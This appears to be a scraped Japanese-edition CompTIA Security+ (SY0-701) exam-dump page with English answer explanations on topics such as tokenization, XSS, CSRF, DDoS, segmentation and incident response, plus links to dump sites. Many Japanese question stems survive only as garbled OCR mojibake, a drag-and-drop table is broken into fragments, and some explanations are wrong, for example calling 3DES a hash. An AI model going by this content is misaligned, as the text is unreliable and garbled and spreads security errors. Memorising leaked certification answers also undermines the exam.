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Hashing ensures integrity of software by detecting any unauthorized changes or tampering after its final version.
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A penetration test evaluates the effectiveness of security controls by simulating real-world attacks against a system. Security professionals attempt to bypass defenses and gain
unauthorized access in the same way an attacker would. This approach directly tests whether existing controls such as authentication, access restrictions, and network
defenses successfully prevent unauthorized access.
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Full disk encryption ensures that data stored on the device is protected even if the device is physically stolen. This is a fundamental security control for end-user devices,
especially laptops and mobile devices, to prevent data breaches.
Endpoint protection refers to anti-malware, antivirus, and host-based firewall solutions that safeguard end-user devices from malware, ransomware, and unauthorized access.
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COPE (Corporate-Owned, Personally Enabled) devices allow companies to manage and harden company-owned devices while still enabling limited personal use, reducing
security risks while maintaining compatibility with corporate resources.
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Isolation places the end-of-life system on a segmented network or removes its external connectivity, reducing exposure and preventing attackers from exploiting its
vulnerabilities while it remains in use.
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Tokenization is a process that replaces sensitive data, such as credit card information, with a non- sensitive equivalent (token) that can be used in place of the actual data. This
technique is particularly useful in securely storing payment information because the token can be safely stored and transmitted without exposing the original credit card number.
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A honeypot is a security mechanism set up to attract and detect potential attackers by simulating vulnerable assets. By hosting a part of the infrastructure online with known
vulnerabilities that appear to be company assets, the company can observe and analyze the behavior of attackers conducting reconnaissance. This approach allows the
company to get alerts and gather intelligence on potential threats.
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Sideloading is the installation of an application from outside the authorized or official application store, often by manually installing a binary package.
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Conducting a phishing campaign simulates a real social engineering attack against employees to measure how they respond. By tracking metrics such as how many users click
malicious links or report the email, the organization can objectively evaluate whether the social engineering training has improved employee awareness and behavior.
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Orchestration is the process of automating multiple tasks across different systems and applications. It can help save time and reduce human error by executing predefined
workflows and scripts. In this case, the systems administrator can use orchestration to create accounts for a large number of end users without having to manually enter their
information and assign permissions.
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The code snippet provided (<script>function (send_info)</script>) indicates the presence of a JavaScript function embedded within a webpage, which is typical of a cross-site
scripting (XSS) attack.
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Peer review and approval is a practice that involves having other developers or experts review the code before it is deployed or released. Peer review and approval can help
detect and prevent malicious code, errors, bugs, vulnerabilities, and poor quality in the development process. Peer review and approval can also enforce coding standards, best
practices, and compliance requirements. Peer review and approval can be done manually or with the help of tools, such as code analysis, code review, and code signing.
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Management review is a key step in the change management process, ensuring that proposed changes are properly evaluated for security and business impact before
implementation.
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An MDM solution can enforce device policies that block attempts to modify or replace the mobile OS, preventing users from jailbreaking their devices.
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Change control process: The change control process ensures that any modifications to the design are systematically evaluated, approved, and documented. This helps in
maintaining the integrity of the system and ensures that changes are implemented in a controlled and coordinated manner.
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To reduce the number of individual operating systems while decommissioning physical servers, the company should use containerization. Containerization allows multiple
applications to run in isolated environments on a single operating system, significantly reducing the overhead compared to running multiple virtual machines, each with its own
OS.

Containerization: Uses containers to run multiple isolated applications on a single OS kernel, reducing the need for multiple OS instances and improving resource utilization.
Microservices: An architectural style that structures an application as a collection of loosely coupled services, which does not necessarily reduce the number of operating
systems.

Virtualization: Allows multiple virtual machines to run on a single physical server, but each VM requires its own OS, not reducing the number of OS instances.

Infrastructure as code: Manages and provisions computing infrastructure through machine- readable configuration files, but it does not directly impact the number of operating
systems.
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Server name | IP Traffic sent | Traffic Status
received
FileO1 10.12.14.13 | 2654812 | 23185 Up
DCO1 10.12.15.2 | 168741 65481 Up
Test01 10.25.1.3 14872 654123168 | Down
Test02 10.25.1.4 16941 651321685 | Down
DCO02 10,32,15.3 | 32345 32158 Up
FinanceO1 1018114 1112374 6548 Up
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This is clearly indicative of DoS attack where the two Test hosts are being overwhelmed with excessive traffic received causing them to become unresponsive and crash.
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Firewall logs provide details of all network traffic, including connections to and from loT devices.

They are typically the first source of evidence for identifying the time of an exploit.
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A Next-Generation Firewall (NGFW) can enforce granular, application-level rules such as allowing downloads while blocking uploads to a specific file-sharing site.

gﬁ:ﬁ: 23

TXAVTAIVPZTR AV T—IDIT Yy OTHESIEEN- S T4 vV EERTIVENHYFET, COFRVICRELGEY—ILIEFRDIBLENTIH?
A.Joxy

B. 274724+ —IL

C. TV FRA4 Y & X (EDR)

D. T—#% &%k B51E(DLP)

EfE: (EfEZRRLET)

A proxy can terminate and inspect encrypted sessions at the network edge, allowing security tools to view traffic contents before forwarding it. This is commonly used for
TLS/SSL inspection and web traffic monitoring.
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Open-source intelligence (OSINT) involves gathering publicly available information from sources such as websites, social media, forums, and other publicly accessible data to
perform a risk assessment. This method allows an administrator to gather useful insights without accessing or relying on proprietary company information.
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SASE stands for Secure Access Service Edge. It is a cloud-based service that combines network and security functions into a single integrated solution. SASE can help reduce
traffic on the VPN and internet circuit by providing secure and optimized access to the data center and cloud applications for remote employees. SASE can also monitor and
enforce security policies on the remote employee internet traffic, regardless of their location or device. SASE can offer benefits such as lower costs, improved performance,
scalability, and flexibility compared to traditional VPN solutions.
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An organization wants to ensure the integrity of compiled binaries in the production environment. Which of the following security measures would best support this objective?
A. Input validation
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To ensure the integrity of compiled binaries in the production environment, the best security measure is code signing. Code signing uses digital signatures to verify the
authenticity and integrity of the software, ensuring that the code has not been tampered with or altered after it was signed.

Code signing: Involves signing code with a digital signature to verify its authenticity and integrity, ensuring the compiled binaries have not been altered.

Input validation: Ensures that only properly formatted data enters an application but does not verify the integrity of compiled binaries.

SQL injection: A type of attack, not a security measure.

Static analysis: Analyzes code for vulnerabilities and errors but does not ensure the integrity of compiled binaries in production.
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An overwhelming volume of packets can fill an application's input buffers faster than it can process them. Once those buffers are saturated, the program spends excessive time
handling overflow conditions (or even overwrites memory), causing dramatic slowdowns and potential instability - classic symptoms of a buffer overflow-style resource
exhaustion.
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Load balancer logs provide detailed information about incoming web traffic and distribution to the front-end servers, making them the most relevant source to diagnose
excessive traffic and availability issues.
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A geolocation policy is a policy that restricts or allows access to data or resources based on the geographic location of the user or device. A geolocation policy can be
implemented using various methods, such as IP address filtering, GPS tracking, or geofencing. A geolocation policy can help the company's legal department to prevent
unauthorized access to sensitive documents from individuals in high-risk countries.

Eﬁ:ﬁ: 31


https://www.jpnshiken.com/q/68944-6456120/
https://www.jpnshiken.com/q/68944-6456121/
https://www.jpnshiken.com/q/68944-6456122/
https://www.jpnshiken.com/q/68944-6456123/

BBENLA VR— T—IJILRBEZFERAL TR — FEEBICER TS LV ERZHBATIOFIRD S5 ENTT D,

A TORIESR

B.1&& T

C..\nyia

D. T2 TR AMEM

FfZ:B(aA AV FEEKRT D)

Salting is a technique used to enhance the security of hashed passwords by adding a unique, random value (salt) to each password before hashing it. This prevents attackers
from easily decrypting passwords using rainbow tables, which are precomputed tables for reversing cryptographic hash functions. Since each password has a unique salt, the
same password will produce different hash values, making rainbow table attacks ineffective.
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Following employees through secured doors without authorization is tailgating, a form of social engineering that exploits human behavior rather than technical controls.
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Shadow IT refers to the use of unauthorized devices, software, or systems, such as an employee adding a wireless router without approval, outside of official IT processes.
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An Intrusion Prevention System (IPS) automatically detects and blocks malicious network traffic in real time, providing immediate protection against inbound threats.
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Preventive - an acceptable use policy enforces rules to users to use company resources.

example - company A states that in order to access files in the company server you must connect to your company VPN when working from home. This prevents you from
connecting from an insecure network.
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Risk appetite refers to the level of risk that an organization is willing to accept in order to achieve its objectives. In this scenario, the security engineer is concerned that the
timeframe for implementing a new application does not allow for sufficient cybersecurity due diligence. This reflects a situation where the organization's risk appetite might be
too high if it proceeds without the necessary security checks.
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A Certificate Signing Request (CSR) is a request sent to a certificate authority (CA) to issue an SSL certificate. The CSR contains information like the public key, which will be
part of the certificate.
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An image backup, also known as a full system backup, captures the entire contents of a system, including the operating system, applications, settings, and all data. This type of
backup allows for a complete recovery of the system in case of a disaster, as it includes everything needed to restore the system to its previous state. This makes it the ideal
choice for a systems administrator who needs to ensure the ability to recover the entire system, including the OS.
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The scenario describes a situation where a user unknowingly triggers an unwanted action, such as changing their password, by clicking a malicious link. This is indicative of a
Cross-Site Request Forgery (CSRF) attack, where an attacker tricks the user into executing actions they did not intend to perform on a web application in which they are
authenticated.
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Tokenization replaces sensitive data with non-sensitive surrogate values that retain the necessary format but are meaningless without access to the original data.
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Establishing baselines allows the analyst to understand what normal system behavior looks like in terms of performance, traffic patterns, resource usage, and user activity.
Once normal behavior is documented, deviations from this baseline can be identified as abnormal or potentially malicious activity on the server.
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A firewall log records inbound and outbound network traffic, including source and destination IP addresses, port numbers, and connection attempts. Since port scans involve
probing various ports on a network, the firewall logs will provide visibility into the attacker's source IP address and help the analyst assess the nature of the scanning activity.
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Quantitative risk analysis assigns a monetary value to potential losses, such as the cost of replacing a physical server after an attack.
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SQL injection is a type of attack that exploits a database misconfiguration or a flaw in the application code that interacts with the database. An attacker can inject malicious SQL
statements into the user input fields or the URL parameters that are sent to the database server.

These statements can then execute unauthorized commands, such as reading, modifying, deleting, or creating data, or even taking over the database server. SQL injection can
compromise the confidentiality, integrity, and availability of the data and the system.
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Segregation of duties is going to PREVENT users from having the ability to potentially manipulate processes within the business by splitting duties amongst others. Somewhat
of a "checks and balances" kind of system.
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By placing servers and workstations into separate security zones (network segments) with controlled access between them, the organization would prevent a compromised
workstation from directly reaching the confidential servers. This isolation stops lateral movement without needing VPNs, proxies, or load balancers.
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Change management controls how updates are reviewed, approved, and introduced into a code base or production environment. Requiring supervisor approval before merging
code helps maintain stability by ensuring changes are authorized before implementation.
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VM escape occurs when malicious code running inside a virtual machine breaks out of the VM boundary and executes on the underlying host system. A memory overflow
caused by a plug-in that enables code execution on the host directly represents this scenario, as it allows the guest to compromise the hypervisor or host environment.
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Host isolation removes a device from communicating with network-connected resources, ensuring it cannot access or affect other systems while remaining powered on for
investigation or remediation.
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Isolation prevents potentially infected systems from interacting with the rest of the network, immediately containing the spread of malware and limiting further impact while
remediation actions are planned and executed.
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A bug bounty program invites external security researchers to identify and report vulnerabilities in an organization's systems, often in exchange for rewards, improving overall
security.
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Geographic dispersion is a strategy that involves distributing the servers or data centers across different geographic locations. Geographic dispersion can help the company to
mitigate the risk of weather events causing damage to the server room and downtime, as well as improve the availability, performance, and resilience of the network.
Geographic dispersion can also enhance the disaster recovery and business continuity capabilities of the company, as it can provide backup and failover options in case of a
regional outage or disruption. The other options are not the best ways to address the company's concern:

Clustering servers: This is a technique that involves grouping multiple servers together to act as a single system. Clustering servers can help to improve the performance,
scalability, and fault tolerance of the network, but it does not protect the servers from physical damage or downtime caused by weather events, especially if the servers are
located in the same room or building.

Load balancers: These are devices or software that distribute the network traffic or workload among multiple servers or resources. Load balancers can help to optimize the
utilization, efficiency, and reliability of the network, but they do not prevent the servers from being damaged or disrupted by weather events, especially if the servers are located
in the same room or building.

Off-site backups: These are copies of data or files that are stored in a different location than the original source. Off-site backups can help to protect the data from being lost or
corrupted by weather events, but they do not prevent the servers from being damaged or disrupted by weather events, nor do they ensure the availability or continuity of the
network services.
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Telnet transmits data, including credentials, in plaintext, making it vulnerable to interception. A packet capture tool could easily capture the login credentials being transmitted,
allowing an attacker to gain unauthorized access to the server.
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By using APIs will allow for increased speed of data transfer compared to file based transfer methods liker SFTP.
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Privilege escalation occurs when an attacker, the guest user, gains higher-level permissions than originally assigned (being added to the administrator group), allowing access
to classified resources.
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A false positive occurs when a vulnerability scan identifies a vulnerability that is not actually present on the systems that were scanned. This means that the scan has incorrectly
flagged a system as vulnerable.

False positive: Incorrectly identifies a vulnerability that does not exist on the scanned systems.

False negative: Fails to identify an existing vulnerability on the system.

True positive: Correctly identifies an existing vulnerability.

True negative: Correctly identifies that there is no vulnerability.
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The repeated use of the same username and password across multiple login attempts from different IP addresses indicates stolen credentials are being reused to gain
unauthorized access, which is characteristic of a credential replay attack.
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When implementing a product that offers protection against Distributed Denial of Service (DDoS) attacks, the security concept being followed is availability. DDoS protection
ensures that systems and services remain accessible to legitimate users even under attack, maintaining the availability of network resources.
Availability: Ensures that systems and services are accessible when needed, which is directly addressed by DDoS protection.

Non-repudiation: Ensures that actions or transactions cannot be denied by the involved parties, typically achieved through logging and digital signatures.
Integrity: Ensures that data is accurate and has not been tampered with.

Confidentiality: Ensures that information is accessible only to authorized individuals.
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Adjusting and refining detection rules reduces false positives and irrelevant alerts, ensuring that security teams receive only meaningful notifications and thereby minimizing
alert fatigue.
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Segmentation is a technique that divides a network into smaller subnetworks or segments, each with its own security policies and controls. Segmentation can help mitigate
network access vulnerabilities in legacy I0oT devices by isolating them from other devices and systems, reducing their attack surface and limiting the potential impact of a breach.
Segmentation can also improve network performance and efficiency by reducing congestion and traffic. Patching, insurance, and replacement are other possible strategies to
deal with network access vulnerabilities, but they may not be feasible or effective in the short term. Patching may not be available or compatible for legacy loT devices,
insurance may not cover the costs or damages of a cyberattack, and replacement may be expensive and time-consuming.
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Infrastructure as Code (laC) enables automated provisioning and configuration of infrastructure, making environments repeatable, consistent, and scalable. The ability to better
manage and replicate configurations ensures that security settings are not missed and reduces misconfigurations.
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A hash (such as one generated using 3DES) is used to verify that the file has not been altered or corrupted during download. By comparing the hash of the downloaded file with
the one provided by the vendor, the administrator can confirm the file's integrity.
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A detective control is a type of control that monitors and analyzes the events and activities in a system or a network, and alerts or reports when an incident or a violation occurs.
A SIEM (Security Information and Event Management) system is a tool that collects, correlates, and analyzes the logs from various sources, such as firewalls, routers, servers,
or applications, and provides a centralized view of the security status and incidents. An analyst who reviews the logs on a weekly basis can identify and investigate any
anomalies, trends, or patterns that indicate a potential threat or a breach. A detective control can help the company to respond quickly and effectively to the incidents, and to
improve its security posture and resilience.
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This report provides an audit of the service organization controls over a specified period of time like six months or more and assess how well those controls protect customers
data according to predefined criteria.
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Fear is the motivator when action is driven by concern about a possible threat or negative outcome. Resetting credentials because of worry about a potential cyberattack
reflects a fear- based response.
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By distributing critical virtual machines across multiple laaS providers, a multicloud architecture removes single points of failure and ensures continuity even if one provider
experiences an outage, while allowing internal teams to maintain control over deployment and configuration.
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A nation-state is a threat actor that is sponsored by a government or a political entity to conduct cyberattacks against other countries or organizations. Nation-states have large
financial resources, advanced technical skills, and strategic objectives that may target critical systems such as military, energy, or infrastructure. Nation-states are often
motivated by espionage, sabotage, or warfare.
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Nation-state attackers typically have advanced capabilities and resources, making them more likely to exploit previously unknown vulnerabilities that do not yet have patches or
signatures, enabling stealthy and high-impact attacks.
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When multiple Wireless Access Points (WAPs) are using similar frequencies with high power settings, it can cause channel overlap, leading to interference and connectivity
issues. This is likely the reason why mobile users are unable to access the internet in the lobby. Evaluating and adjusting the channel settings on the WAPs to avoid overlap is
crucial to resolving the connectivity problems.
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Analysis is the incident response activity that describes the process of understanding the source of an incident. Analysis involves collecting and examining evidence, identifying
the root cause, determining the scope and impact, and assessing the threat actor's motives and capabilities.

Analysis helps the incident response team to formulate an appropriate response strategy, as well as to prevent or mitigate future incidents. Analysis is usually performed after
detection and before containment, eradication, recovery, and lessons learned.

B 81

TXAVTAIUPZTRISVRLEICHLWVWI YV —RZRETIVLENHYFET  KHE FHLOW) YV —REZARBIREICEFAT SR, IRXTDA VAE VATHRENRTEN
D—BLTWAZELEZHRLEVWEEZEATHWET , EX ) TA I VTR DEREZF I -OORELAEEIRDI6ENTIM?

A. V59 FEMRET IERREZFEAL LEICHLTETEEL TS ES,

B.EXEFIEZHB XAV MIEZED AIT—EHRET S,

C.NTA—FEZETCREFHDEY TV TI7AILEFERAL ETTAM AV MTENEBIALET,

D. A1 VAAVARICH LTERMMIZCaALTSAT7URRF Y UEEITL _BESHONITBELET,

IEfE: (EfEZRRLET)

A saved setup file with predefined parameters supports infrastructure as code and configuration templates. This ensures cloud resources are deployed with secure, repeatable,
and consistent settings before being promoted to production.
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Production failover involves switching to a backup power source or system to ensure that operations continue seamlessly in the event of a primary power failure. This type of
testing verifies that the failover mechanisms work as intended under real-world conditions and ensures that the system can handle the transition smoothly.
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Attack Description Target Attack Identified  BEST Preventative or Remediation Action
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SQL database using well-known credentials as it ~ Database server
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Ransomware Implement application fuzzing
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1 Disable remote access services
The attacker embeds hidden access in an ~ -
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Backdoor | |Change the default system password
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Implement a host-based IPS
Disable remote access services
The attack establishes a connection, which allows T v TRrTTY o _
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The attacker uses hardware to remotely monitor a Bl | - _-

user's input activity to harvest credentials. [Botnet Enable DDoS protection
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The attacker embeds hidden access in an
internally developed application that bypasses
account login

Application
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Adware

Ransomware

Keylogger
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Enable DDoS protection

Patch vulnerable systems
Disable vulnerable services
Change the default system pass\
Update the cryptographic algontr
‘Change the default apphcation p:
Implement 2FA using push notific
[Conduct a code review
Implement application fuzzing
Implement a host-based IPS
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EDR (Endpoint Detection and Response) is the most suitable solution among the given options for detecting the presence of a rootkit. EDR solutions continuously monitor and
collect data from endpoints, looking for suspicious activities and behavior patterns that might indicate the presence of malware, including rootkits. They also provide tools for
investigating and responding to security incidents, making them effective for dealing with sophisticated threats that can evade traditional antivirus solutions.
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Mp(wyocess of documenting and preserving the integrity of evidence collected during an incident response. It involves recording the details of each person

who handled the evidence, the time and date of each transfer, and the location where the evidence was stored.
Chain of custody ensures that the evidence is admissible in legal proceedings and can be traced back to its source. E-discovery, legal hold, and preservation are related
concepts, but they do not ensure evidence is properly handled.
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Vulnerabilities in control systems are prioritized based on potential impact, and the possibility of disrupting essential services like energy delivery makes the risk critical even
without known exploits.
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Regular patching reduces risk by fixing known software vulnerabilities before attackers can exploit them in the enterprise environment.
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Dynamic analysis is performed on software during execution to identify vulnerabilities based on how the software behaves in real-world scenarios. It is useful in detecting
security issues that only appear when the application is running.
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An obfuscation toolkit is used by developers to make source code difficult to understand and reverse engineer. This technique involves altering the code's structure and naming
conventions without changing its functionality, making it much harder for attackers to decipher the code or use debugging tools to analyze it. Obfuscation is an important
practice in protecting proprietary software and intellectual property from reverse engineering.

AXE975SY0-701-JPNfEREE (XJPNTest.comigfit S  SY0-701-JPNERER ICEH T 5 Z L IZRICI B E T ! JPNTest.com(I S mFTSY0-701-JPNEHEREIREE 1B L =
9, JPNTest.com SY0-701-JPNRERFIREE T L SEHSNFE L=, 22 TSY0-701-JPNIEED TR FI VO UEFITANTE T, BFRO 7V
A _ https://www.jpntest.com/shiken/SY0-701-JPN-mondaishu 905f3. 3 0% 4« A A~ > + #5814 E 53— F: JPNshiken;

Eﬁ:ﬁ: 92

B NBARUE—NTLELT—2 a3 DEOICSHORBEZHFMLELL, AR, KRR T4 0T F—LOAUN—N NER T DY —N—L[CELE-T7MILERER
LEL, 77M4IVICIE FERGET7 XTIV F v ERETI—F RZRY MAEFEFNTVELE , RODT—2 Z34TD535 DT 7AILERTIDICKRIBELIZIDIEENTT
m,

A. BUFF

B./NXJ1)vy

C. B4k

D.2UT«hIl

EfE: (EfEZRRLET)

The file left by the external vendor, containing detailed architecture information and code snippets, is best described as proprietary data. Proprietary data is information that is
owned by a company and is essential to its competitive advantage. It includes sensitive business information such as trade secrets, intellectual property, and confidential data
that should be protected from unauthorized access.
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Containers are a lightweight virtualization technology that allows you to package applications and their dependencies into portable units. This means that you can run multiple
applications on a single operating system, reducing the number of operating systems and the associated patching requirements.
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Migrating software to a cloud environment that allows more flexible and frequent updates can change how software releases, patches, and configuration changes are
performed. This shift often requires organizations to revise their change management policy to accommodate faster deployment cycles, automation, and continuous updates
typical in cloud environments.
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An air-gapped configuration physically or logically isolates systems from external networks, including the internet, ensuring they cannot communicate outside the controlled
environment.
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Creating a VLAN for the Wi-Fi-enabled sensors segments them from the rest of the network. This limits exposure and helps contain risk if an loT sensor is compromised.


https://www.jpnshiken.com/q/68944-6456186/
https://www.jpnshiken.com/q/68944-6456187/
https://www.jpnshiken.com/q/68944-6456188/
https://www.jpnshiken.com/q/68944-6456189/

gﬁ:ﬁ: 97

TFTFIVAMNVRTFLATHI Y FEFERAETIC A28 —3y MZARAISNTUNSWebH—/N\—IZH L THEBERAF v U EFEFTLTOVET  XOS5 5 HLAREESASLDIE
EnTL&LEOIM?

A. R T LEFIE

B.\s7y ¥ TFv

C.X\YyITRFxY

D. FFEDHL K

E.2ELRFv >

FfR: (ExRTLET)

EFEE: 98

RODEHEATDI3H5 ROF—NIEETILENHIRHEREERT HDIEENTTM?

A EZZFEL

B. HY—E X LAN)LREE

C.®7

D. RE

IEfR: (EfZzRTLET)

A service level agreement (SLA) is a type of agreement that defines the expectations and responsibilities between a service provider and a customer. It usually includes the
quality, availability, and performance metrics of the service, as well as the time frame in which the provider needs to respond to service requests, incidents, or complaints. An
SLA can help ensure that the customer receives the desired level of service and that the provider is accountable for meeting the agreed-upon standards.
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An EDR solution actively monitors and blocks malicious behaviors at the endpoint, including intercepting and preventing unauthorized or malicious file downloads, before they
can reach the system.
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A tabletop exercise walks the security team through a realistic incident scenario in a low-stakes environment, allowing them to practice roles, decisions, and coordination before
a real event occurs.
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A dashboard is the best way to consolidate security metrics from multiple areas and present them in a clear, ongoing view for executive review. It promotes awareness by
showing trends, operational status, and key performance indicators in one centralized location.
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For a company located in an area prone to hurricanes and needing to immediately continue operations, the best type of site is a hot site. A hot site is a fully operational offsite
data center that is equipped with hardware, software, and network connectivity and is ready to take over operations with minimal downtime.

Hot site: Fully operational and can take over business operations almost immediately after a disaster.

Cold site: A basic site with infrastructure in place but without hardware or data, requiring significant time to become operational.

Tertiary site: Not a standard term in disaster recovery; it usually refers to an additional backup location but lacks the specifics of readiness.

Warm site: Equipped with hardware and connectivity but requires some time and effort to become fully operational, not as immediate as a hot site.
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15000 x 2 +3 =10 000

Annualized loss expectancy is calculated by multiplying the single-loss expectancy by the annualized rate of occurrence. A $15,000 impact occurring twice in three years equals
an annual expected loss of $10,000.
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It's a violation of an internal corporate security policy, so the non-compliance is classified as internal.
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Software as a Service (SaaS) represents an application that is hosted in the cloud and accessible via the internet from anywhere, with no requirement for on-premises
infrastructure. SaaS applications are managed by a third-party provider, allowing users to access them through a web browser, making them highly scalable and flexible for
remote access.
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Explanation:Shadow IT is the term used to describe the use of unauthorized or unapproved IT resources within an organization. The marketing department set up its own
project management software without telling the appropriate departments, such as IT, security, or compliance. This could pose a risk to the organization's security posture, data
integrity, and regulatory compliance.
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An NDA legally binds parties to keep specified information secret, directly enforcing the confidentiality pillar of security by prohibiting unauthorized disclosure of protected data.
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After applying patches or other remediation steps, rescanning verifies that the vulnerabilities have been effectively resolved and ensures no residual issues remain.
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Asset enumeration involves identifying and cataloging all hardware, software, and technologies used within an organization's environment. This process creates an inventory of
systems, devices, applications, and services, providing visibility into the organization's technology assets and supporting security management, monitoring, and risk
assessment.
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Ensuring that other team members understand how a script works is essential to prevent a single point of failure. If only one person knows how the script operates, the
organization risks being unable to maintain or troubleshoot it if that person is unavailable. Sharing knowledge ensures continuity and reduces dependence on one individual.
Reducing implementation cost and remediating technical debt are secondary considerations in this context.

Identifying complexity is important, but the main benéefit is to avoid a single point of failure.
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Hashing protects stored passwords by transforming the original password into a fixed-length cryptographic hash value using a one-way algorithm. The original password cannot
feasibly be derived from the hash. During authentication, the entered password is hashed and compared to the stored hash, ensuring the actual password is never stored or
exposed in plaintext.
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Classification assigns labels to files based on their sensitivity, value, and regulatory requirements, guiding how the data should be handled and protected.
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Defacement tied to public protests signals an ideologically motivated actor. Hacktivists target visibility - public sites - to broadcast a message or embarrass the organization,
rather than to steal money or state secrets.
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Supply chain service providers often require privileged or administrative access to the systems they manage or support. Because they interact with multiple client environments
and maintain elevated permissions, they become attractive targets for attackers. If a provider is compromised, attackers can leverage that trusted access to infiltrate the
organization's systems, introducing vulnerabilities and enabling unauthorized access.
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MAC filtering allows network administrators to control device access by specifying allowed MAC addresses. This prevents unauthorized devices, such as a laptop plugged into a
network port, from gaining access.
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Data in transit is data that is moving from one location to another, such as over a network or through the air. Data in transit is vulnerable to interception, modification, or theft by
malicious actors. A VPN (virtual private network) is a technology that protects data in transit by creating a secure tunnel between two endpoints and encrypting the data that
passes through it.
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The security analyst is creating a "secure configuration guide," which is a set of instructions or guidelines used to configure devices securely before deployment. This guide
ensures that the devices are set up according to best practices to minimize vulnerabilities and protect against potential security threats.

Eﬁ:ﬁ: 125

HEOMBTEI SV R Y—ERZRRICBALTEY BHEERD SaaS 7T 77— a Vv EFERALTVET,

ET7 TV r—2aVIZIFERNOBTA UAHBYET, TDROH X1 T4 FLEEREENRELBTNEGESHVERFBEROBERS LIV EEZTVWET , £¥2
T 4 F—LBRHIIETIRNERTY TFERODENTT M,

A.SAMLZE#MIZT %

B. OAuth k—V V& ERLET,

C.\AT—FMREWEZERALET,

D. IdP % &1R

IEfE: (EfEZRRLET)

The first step in reducing the number of credentials each employee must maintain when using multiple SaaS applications is to select an Identity Provider (IdP). An IdP provides
a centralized authentication service that supports Single Sign-On (SSO), enabling users to access multiple applications with a single set of credentials.

Enabling SAML would be part of the technical implementation but comes after selecting an IdP.

OAuth tokens are used for authorization, but selecting an IdP is the first step in managing authentication.

Password vaulting stores multiple passwords securely but doesn't reduce the need for separate logins.
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Containers are a method of virtualization that allows applications to run in isolated environments with their own dependencies, libraries, and configurations. Containers are best
suited for constantly changing environments because they are lightweight, portable, scalable, and easy to deploy and update. Containers can also support microservices
architectures, which enable faster and more frequent delivery of software features.
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This is the risk that remains after controls and mitigation efforts have been applied.
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It asks about the Data plane not the control plane, which includes implicit trust zones, systems and subjects, and policy enforcement points.
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Transport Layer Security (TLS) 1.3 is the latest version of the TLS protocol and provides strong encryption for securing data in transit between clients and servers. It offers
improved security and performance compared to previous versions like SSL 3.0 and earlier TLS versions.
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A firewall is a technical control enforced by hardware or software to monitor and filter network traffic, distinguishing it from physical (e.g., fence, security guard) or administrative
(e.g., policy) controls.
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Tokenization replaces sensitive data with non-sensitive, unique tokens while storing the actual data securely in a separate location, effectively protecting data at rest in a
database.
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Host isolation ensures that a device is separated from the network, preventing it from accessing or being accessed by other network resources. This is typically achieved by
quarantining the device.
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Microservices are small, independently deployable components. Because each service can be built, tested, and released on its own pipeline, a security fix in one area doesn't
require rebuilding and redeploying the whole application. That independence enables rapid, even multiple-per-day patches, shrinking exposure windows when vulnerabilities are
found.
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Federation relies on a trusted third party that stores the user's credentials and provides them to the requested resources or services without exposing them. Password
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complexity is a security measure that requires users to create passwords that meet certain criteria, such as length, character types, and uniqueness. Password complexity can
help prevent brute-force attacks, password guessing, and credential stuffing by making passwords harder to crack or guess.
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Salting appends a unique random value to each user's password before hashing, so identical passwords produce different hash values and resist rainbow-table attacks.
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AES with a 256-bit key is strong, standards-approved symmetric encryption specifically suited for protecting stored data. It renders the ciphertext unreadable without the key,
meets common regulatory requirements (e.g., FIPS 140-2 validated implementations), and provides far stronger assurance for data at rest than transport protocols, masking, or
password salting techniques that don't actually encrypt the full dataset.
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The correct answer is D because it allows only the device with the IP address 10.50.10.25 to send outbound DNS requests on port 53, and denies all other devices from doing
so. The other options are incorrect because they either allow all devices to send outbound DNS requests (A and C), or they allow no devices to send outbound DNS requests

(B).
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Conducting a site survey is crucial when deploying new security cameras because it allows the technician to assess various factors such as the physical environment, potential
obstacles, optimal camera placement, coverage areas, and lighting conditions. This ensures that the security camera is installed in the most effective location to fulfill its
surveillance objectives.
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The attacker impersonated a trusted vendor via email to redirect funds to their own account, a hallmark of business email compromise. This social engineering tactic exploits
legitimate business processes to fraudulently transfer money.
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Third-party attestation involves an external, independent party performing a network security assessment and providing documented proof, ensuring objectivity and compliance
with regulatory or client requirements.
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A VPN establishes an encrypted tunnel over the Internet (or other untrusted networks), securely linking two separate corporate networks so they can communicate as if on a
private network.
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A responsibility matrix clarifies the division of responsibilities between the cloud service provider (CSP) and the customer, ensuring that each party understands and implements
their respective security controls.
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In a cloud computing environment, particularly one using virtualization, VM escape is a critical vulnerability to consider. It occurs when an attacker exploits a vulnerability in a
virtual machine (VM) to "escape" the VM and gain access to the underlying hypervisor or other VMs running on the same physical host. This poses a significant security risk in
multi-tenant environments, such as those found in cloud computing.
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Injecting malicious code into vendor updates compromises the trusted distribution process, which is characteristic of a supply chain attack.
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Packet capture provides a detailed record of network traffic, allowing analysts to inspect the actual contents of communications to determine if sensitive data was exfiltrated to a
command- and-control server.
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Zero-day vulnerabilities are unknown flaws in software, making them harder to patch, especially when using open-source libraries without dedicated support teams.
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An NGFW (Next-Generation Firewall) utilizing application inspection could have identified and blocked the unusual use of HTTP over port 53. Application inspection allows
NGFWs to analyze traffic at the application layer, identifying and blocking suspicious or non-standard protocol usage, such as HTTP traffic on DNS port 53.

NGFW utilizing application inspection: Inspects traffic at the application layer and can block non- standard protocol usage, such as HTTP over port 53.

WAF utilizing SSL decryption: Focuses on protecting web applications and decrypting SSL traffic but may not detect the use of HTTP over port 53.

UTM utilizing a threat feed: Provides comprehensive security but may not focus specifically on application layer inspection.

SD-WAN utilizing IPSec: Enhances secure WAN connections but is not primarily designed to inspect and block specific application traffic.
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Risk tolerance defines the threshold of risk the organization is willing to accept. Activities that exceed this threshold are deemed too risky to pursue during normal operations.
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%gﬁ;&%ﬁ%ﬁﬁ%—% is a device or mechanism that prevents unauthorized access to a physical location or asset. An access control vestibule, also known as a mantrap, is
a physical security control that consists of a small space with two sets of interlocking doors, such that the first set of doors must close before the second set opens. This
prevents unauthorized individuals from following authorized individuals into the facility, a practice known as piggybacking or tailgating. A photo ID check is another form of
physical security control that verifies the identity of visitors. Managerial, technical, and operational security controls are not directly related to physical access, but rather to
policies, procedures, systems, and processes that support security objectives.
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The most appropriate method is to use a Group Policy Object (GPO) with time-of-day restrictions.

This is a native capability in Windows environments that allows administrators to control when users are allowed to log in to domain-joined systems.
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Snapshots capture the state of a file server at a specific point in time, allowing for quick recovery of lost or corrupted data. They provide an efficient way to restore files without
relying solely on full backups, minimizing data loss and downtime. This makes snapshots an ideal solution for data recovery and protection on a file server.
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Active reconnaissance is a type of reconnaissance that involves sending packets or requests to a target and analyzing the responses. Active reconnaissance can reveal
information such as open ports, services, operating systems, and vulnerabilities. However, active reconnaissance is also more likely to be detected by the target or its security
devices, such as firewalls or intrusion detection systems. Port and service scans are examples of active reconnaissance techniques, as they involve probing the target for
specific information.
